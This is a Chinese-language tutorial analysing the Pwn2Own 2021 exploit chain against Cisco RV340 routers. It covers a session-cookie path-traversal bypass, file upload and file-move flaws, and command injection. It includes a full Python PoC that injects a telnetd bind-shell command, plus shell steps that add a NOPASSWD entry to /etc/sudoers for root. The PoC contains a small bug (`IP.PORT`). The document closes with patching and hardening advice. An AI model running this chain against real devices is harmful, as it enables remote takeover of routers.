pwn2own2021中的Cisco路由器
字数 1931 2025-08-06 18:07:37
Cisco RV340路由器漏洞分析与利用教学文档
0x01 漏洞概述
本教学文档基于Pwn2Own 2021比赛中针对Cisco RV340路由器的漏洞利用链进行分析。该利用链涉及多个CVE漏洞,包括身份验证绕过、命令执行和权限提升等环节,最终实现从远程攻击到获取root权限的完整过程。
受影响版本:1.0.3.24之前的固件版本(本文以1.0.3.22版本为例)
0x02 环境分析
2.1 系统架构
- 使用Nginx作为web服务
- 配置文件路径:/etc/nginx
- Web根目录:/www
- 关键配置文件:
- nginx.conf
- fastcgi_params
- conf.d/web.conf
- conf.d/web.upload.conf
2.2 Nginx配置结构
-
主配置文件分为三部分:
- 全局块
- events块
- http块
- 包含多个server块
- 每个server块可包含server全局块和多个location块
-
定义了五个主要的server:
- rest
- web-lan
- web-rest-lan
- web-rest-wan
- web-wan
0x03 漏洞链分析
3.1 初始绕过漏洞 (CVE-2022-20705)
位置:web.upload.conf中的/upload location块
漏洞代码:
location /upload {
set $deny 1;
if (-f /tmp/websession/token/$cookie_sessionid) {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
...
}
漏洞原理:
- 仅检查
/tmp/websession/token/$cookie_sessionid文件是否存在 - 可通过目录遍历伪造sessionid,如:
sessionid=../../../../../../../../etc/passwd - 文件存在返回400,不存在返回403
利用方法:
构造恶意cookie使路径指向系统已知存在的文件
3.2 任意文件上传漏洞 (CVE-2022-20709)
位置:同一upload location块
漏洞原理:
- 上传文件时未对文件内容、类型或路径进行充分验证
- 结合CVE-2022-20705可上传任意文件
3.3 二次验证绕过
漏洞原理:
- 虽然程序对sessionid进行了二次验证
- 但允许通过分号分隔多个sessionid,只取最后一个有效
- 可构造如:
sessionid=../../../../../../etc/passwd;sessionid=<base64编码的有效值>
3.4 任意文件移动漏洞 (CVE-2022-20711)
漏洞位置:upload.cgi中的文件处理逻辑
漏洞原理:
- 对filename参数过滤不严,允许点号(.)存在
- 可通过目录穿越实现任意文件移动
- 关键函数
sub_115D0检查不充分
3.5 远程命令执行漏洞
漏洞位置:json处理函数中的命令拼接
漏洞原理:
- 程序使用
json_object_to_json_string将JSON对象转为字符串 - 字符串被用于构造系统命令
- 可通过
destination参数注入命令,如:x';/usr/sbin/telnetd -p 8888 -d /bin/sh
关键函数调用链:
sub_117E0 (构造JSON对象) ->
json_object_to_json_string (转为字符串) ->
system (执行命令)
3.6 权限提升漏洞 (CVE-2022-20701)
利用工具:confd_cli
漏洞原理:
- confd服务以root权限运行
- 提供文件读写命令(
file show和append) - 可修改/etc/sudoers文件添加特权用户
利用步骤:
- 创建临时sudoers文件
- 使用confd_cli以root权限追加到/etc/sudoers
- 通过sudo获取root shell
0x04 漏洞利用实战
4.1 环境搭建
- 使用qemu模拟arm小端环境(armhf)
- 挂载必要的dev和proc文件系统
- 启动服务:
/etc/init.d/boot boot generate_default_cert /etc/init.d/confd start /etc/init.d/nginx start
注意:binwalk解压固件时可能错误处理软链接,需修改binwalk/modules/extractor.py:
# 修改前
if not xxxx
# 修改后
if 0 and not xxxx
4.2 利用POC
from pwn import *
import base64 as b64
IP = "192.168.250.173"
PORT = 80
p = remote(IP.PORT)
text = "login".encode('utf-8')
fake_session = "sessionid=../../../../../../etc/passwd;sessionid=" + b64.b64encode(text).decode('utf-8') + ";"
body = """------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="sessionid"
EU6DJKEIWO
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="pathparam"
Firmware
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="fileparam"
file001
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="destination"
x';/usr/sbin/telnetd -p 8888 -d /bin/sh
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="option"
x
------WebKitFormBoundaryz6gIo5kcTkAlkCwX
Content-Disposition: form-data; name="file"; filename="1.img"
Content-Type: application/octet-stream
1111
------WebKitFormBoundaryz6gIo5kcTkAlkCwX--
"""
payload = b"POST /upload HTTP/1.1\r\n"
payload += b"Host: %s\r\n"%IP
payload += b"Accept: application/json, text/plain, */*\r\n"
payload += b"optional-header: header-value\r\n"
payload += b"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36\r\n"
payload += b"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz6gIo5kcTkAlkCwX\r\n"
payload += b"Content-Length: %s\r\n"%(str(len(body)))
payload += b"Origin: http://192.168.250.173\r\n"
payload += b"Referer: http://192.168.250.173/index.html\r\n"
payload += b"Accept-Encoding: gzip, deflate\r\n"
payload += b"Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7\r\n"
payload += b"Cookie: %s\r\n"%fake_session
payload += b"Connection: close\r\n"
payload += b"\r\n"
payload += body.encode('utf-8')
p.send(payload)
p.interactive()
4.3 提权操作
# 创建临时sudoers文件
echo 'www-data ALL=(ALL) NOPASSWD: ALL' > /tmp/www-data-sudo
# 使用confd_cli以root权限操作
/usr/bin/confd_cli -U 0 -G 0 -u root -g root
# 在confd交互界面中追加sudoers配置
file show /tmp/www-data-sudo | append /etc/sudoers
# 退出confd并获取root shell
exit
sudo /bin/sh
0x05 防御建议
- 及时更新:升级到1.0.3.24或更高版本
- 输入验证:
- 严格验证sessionid格式
- 禁止路径遍历字符
- 权限控制:
- 限制confd_cli的使用
- 实施最小权限原则
- 安全配置:
- 加强Nginx location块的访问控制
- 禁用不必要的HTTP方法
- 代码审计:
- 检查所有使用system()等危险函数的地方
- 确保JSON处理安全
0x06 总结
本漏洞链展示了从Web界面到获取root权限的完整攻击路径,涉及:
- Nginx配置绕过
- 会话验证缺陷
- 文件操作漏洞
- 命令注入
- 权限提升
这些漏洞共同构成了一个高危的攻击面,强调了在嵌入式设备开发中全面安全考虑的重要性。